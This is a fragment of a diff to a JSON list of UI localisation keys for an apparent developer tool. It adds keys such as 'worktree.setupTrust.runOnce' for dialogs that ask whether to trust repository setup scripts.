"auto.components.sidebar.HostRemoveDialog.wslHostEndsTerminalsUnlessShared",
"auto.components.sidebar.OrcaYamlTrustDialog.43b7bec4cd",
"auto.components.sidebar.OrcaYamlTrustDialog.alwaysTrustRepo",
"auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedBody",
"auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedTitle",
"auto.components.sidebar.OrcaYamlTrustDialog.archiveRunBody",
@@ -653,7 +652,6 @@
"auto.store.pluginAutoUpdates.many",
"auto.store.pluginAutoUpdates.one",
"auto.store.pluginInstallLink.invalid",
"automations.setupTrust.approve",
"automations.setupTrust.reviewBody",
"automations.setupTrust.reviewTitle",
"browser.extensions.pin",
@@ -1180,9 +1178,12 @@
"worktree.nestedRemoval.refreshFailed",
"worktree.nestedRemoval.retry",
"worktree.nestedRemoval.review",
"worktree.setupTrust.alwaysTrust",
"worktree.setupTrust.alwaysTrustScope",
"worktree.setupTrust.branchDiffersBody",
"worktree.setupTrust.branchDiffersTitle",
"worktree.setupTrust.branchSetupScript"
"worktree.setupTrust.branchSetupScript",
"worktree.setupTrust.runOnce"
],
"prefixes": []
}